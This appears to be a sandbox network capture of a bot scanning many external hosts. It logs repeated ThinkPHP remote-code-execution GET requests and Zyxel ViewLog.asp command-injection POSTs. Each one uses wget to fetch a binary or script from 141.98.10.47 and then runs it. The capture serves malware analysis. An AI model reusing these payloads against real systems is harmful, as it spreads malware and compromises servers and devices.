Dec 26, 2023 21:25:59.493119955 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:25:59.735867023 CET	323	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:25:59 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
621	192.168.2.23	59714	88.157.221.22	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:59.977677107 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:00.243526936 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.0 Date: Tue, 26 Dec 2023 20:26:00 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
622	192.168.2.23	43400	88.83.105.60	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:25:59.979800940 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:00.249545097 CET	238	IN	HTTP/1.1 404 Not Found Content-Length: 0 Date: Tue, 26 Dec 2023 20:28:17 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self' X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port
623	192.168.2.23	37978	95.130.96.232	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:00.016392946 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:26:00.253886938 CET	353	IN	HTTP/1.0 302 Found Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Location: https://192.168.0.14:4343/cgi-bin/ViewLog.asp Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 33 30 32 20 44 6f 63 75 6d 65 6e 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 36 38 2e 30 2e 31 34 3a 34 33 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>302 Document moved</title> </head><body>This document has moved <A HREF="https://192.168.0.14:4343/cgi-bin/ViewLog.asp">here</A>.<P></body></html>
Dec 26, 2023 21:26:00.467408895 CET	353	IN	HTTP/1.0 302 Found Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Location: https://192.168.0.14:4343/cgi-bin/ViewLog.asp Content-type: text/html Data Raw: 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 33 30 32 20 44 6f 63 75 6d 65 6e 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 39 32 2e 31 36 38 2e 30 2e 31 34 3a 34 33 34 33 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html> <head> <title>302 Document moved</title> </head><body>This document has moved <A HREF="https://192.168.0.14:4343/cgi-bin/ViewLog.asp">here</A>.<P></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
624	192.168.2.23	56566	88.255.100.32	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:00.345267057 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:00.644684076 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:25:57 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
625	192.168.2.23	39100	95.179.145.10	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:01.908072948 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:02.151305914 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Tue, 26 Dec 2023 20:26:02 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
626	192.168.2.23	50526	95.142.182.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:01.916887999 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
627	192.168.2.23	60746	95.101.146.38	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:01.925720930 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:02.181149006 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:02 GMT Date: Tue, 26 Dec 2023 20:26:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 34 32 62 63 39 31 37 26 23 34 36 3b 31 37 30 33 36 32 32 33 36 32 26 23 34 36 3b 31 66 65 31 62 62 62 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.a42bc917.1703622362.1fe1bbbf</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
628	192.168.2.23	59026	95.213.252.14	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:01.939912081 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:02.213466883 CET	353	IN	HTTP/1.1 400 Bad Request Server: nginx/1.4.6 (Ubuntu) Date: Tue, 26 Dec 2023 20:25:45 GMT Content-Type: text/html Content-Length: 181 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 34 2e 36 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.4.6 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
629	192.168.2.23	49930	95.100.7.160	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:02.108990908 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:02.551647902 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:02 GMT Date: Tue, 26 Dec 2023 20:26:02 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 66 37 32 32 63 33 31 26 23 34 36 3b 31 37 30 33 36 32 32 33 36 32 26 23 34 36 3b 36 36 36 65 32 35 65 34 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.1f722c31.1703622362.666e25e4</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
630	192.168.2.23	60868	95.213.195.191	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:02.210632086 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:02.480190992 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Tue, 26 Dec 2023 20:26:02 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
631	192.168.2.23	50776	88.221.9.196	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:03.790848017 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:04.038603067 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:26:03 GMT Date: Tue, 26 Dec 2023 20:26:03 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 36 35 61 33 33 62 38 26 23 34 36 3b 31 37 30 33 36 32 32 33 36 33 26 23 34 36 3b 31 32 30 62 34 35 32 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b65a33b8.1703622363.120b4528</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
632	192.168.2.23	41058	95.110.131.163	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:04.274585962 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:05.060185909 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:05.314225912 CET	404	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:26:05 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
633	192.168.2.23	56092	95.217.204.122	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:04.287779093 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:26:04.557316065 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Tue, 26 Dec 2023 20:26:03 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
634	192.168.2.23	35568	95.178.179.240	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:04.293839931 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
635	192.168.2.23	50848	62.29.24.250	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:26:04.576963902 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
636	192.168.2.23	55758	94.123.180.251	8080

Timestamp	Bytes transferred	Direction	Data
